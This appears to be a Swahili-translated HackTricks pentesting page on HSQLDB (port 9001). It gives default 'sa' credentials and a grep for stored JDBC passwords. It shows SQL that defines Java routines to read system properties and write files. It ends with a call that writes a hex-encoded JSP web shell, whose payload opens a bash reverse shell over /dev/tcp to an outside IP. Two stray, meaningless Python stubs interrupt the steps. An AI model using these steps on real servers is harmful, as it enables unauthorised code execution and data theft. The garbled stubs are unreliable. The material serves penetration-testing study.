hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

105 lines
5.6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
# Taarifa Msingi
2024-02-11 02:13:58 +00:00
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** ni mfumo wa hifadhidata ya uhusiano wa SQL unaongoza ulioandikwa kwa Java. Inatoa injini ndogo, haraka yenye uwezo wa kushughulikia nyuzi nyingi na hifadhidata ya shughuli na meza za kumbukumbu na kumbukumbu ya diski na inasaidia njia za kujumuisha na seva.
2024-02-11 02:13:58 +00:00
**Bandari ya chaguo-msingi:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
2024-02-11 02:13:58 +00:00
# Taarifa
2024-02-11 02:13:58 +00:00
### Mipangilio ya Awali
2024-02-11 02:13:58 +00:00
Tafadhali kumbuka kuwa kwa chaguo-msingi huduma hii inaweza kuendeshwa kwenye kumbukumbu au imefungwa kwenye localhost. Ikiwa umepata huduma hii, labda umetumia huduma nyingine na unatafuta kuongeza mamlaka.
2024-02-11 02:13:58 +00:00
Kitambulisho cha chaguo-msingi kawaida ni `sa` na neno la siri tupu.
2024-02-11 02:13:58 +00:00
Ikiwa umetumia huduma nyingine, tafuta kitambulisho kinachowezekana kwa kutumia
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
2024-02-11 02:13:58 +00:00
Chukua jina la database kwa umakini - utalihitaji kuunganisha.
2024-02-11 02:13:58 +00:00
# Kukusanya Taarifa
2024-02-11 02:13:58 +00:00
Unaweza kuunganisha kwenye kifaa cha DB kwa [kupakua HSQLDB](https://sourceforge.net/projects/hsqldb/files/) na kuchambua `hsqldb/lib/hsqldb.jar`. Chalisha programu ya GUI (eww) kwa kutumia `java -jar hsqldb.jar` na unganisha kwenye kifaa kwa kutumia siri zilizopatikana/dhaifu.
2024-02-11 02:13:58 +00:00
Chukua taarifa ya uunganisho URL itaonekana kama hii kwa mfumo wa mbali: `jdbc:hsqldb:hsql://ip/DBNAME`.
2024-02-11 02:13:58 +00:00
# Mbinu
2024-02-11 02:13:58 +00:00
## Rutini za Lugha ya Java
2024-02-11 02:13:58 +00:00
Tunaweza kuita njia za static za darasa la Java kutoka HSQLDB kwa kutumia Rutini za Lugha ya Java. Tambua kwamba darasa linaloitwa linahitaji kuwa kwenye njia ya darasa ya programu.
2024-02-11 02:13:58 +00:00
JRTs zinaweza kuwa `kazi` au `taratibu`. Kazi zinaweza kuitwa kupitia taarifa za SQL ikiwa njia ya Java inarudisha moja au zaidi ya pembejeo za SQL zinazoweza kulinganishwa. Zinaitwa kwa kutumia taarifa ya `VALUES`.
2024-02-11 02:13:58 +00:00
Ikiwa njia ya Java tunayotaka kuita inarudisha void, tunahitaji kutumia taratibu zinazoitwa kwa kutumia taarifa ya `CALL`.
2024-02-11 02:13:58 +00:00
## Kusoma Mali za Mfumo wa Java
2024-02-11 02:13:58 +00:00
Unda kazi:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
2024-02-11 02:13:58 +00:00
```python
def execute():
# Code to execute the function
pass
```
2024-02-11 02:13:58 +00:00
```python
def tekeleza():
# Nambari ya kutekeleza kazi
pass
```
```text
VALUES(getsystemproperty('user.name'))
```
2024-02-11 02:13:58 +00:00
Unaweza kupata [orodha ya mali za mfumo hapa](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
2024-02-11 02:13:58 +00:00
## Andika Yaliyomo kwenye Faili
2024-02-11 02:13:58 +00:00
Unaweza kutumia kifaa cha Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` kilichopo kwenye JDK \(kimepakuliwa moja kwa moja kwenye njia ya darasa ya programu\) kuandika vitu vilivyohifadhiwa kwa mfumo wa hex kwenye diski kupitia utaratibu maalum. **Tafadhali kumbuka ukubwa wa juu wa 1024 baiti**.
2024-02-11 02:13:58 +00:00
Unda utaratibu:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
2024-02-11 02:13:58 +00:00
Chukua hatua:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>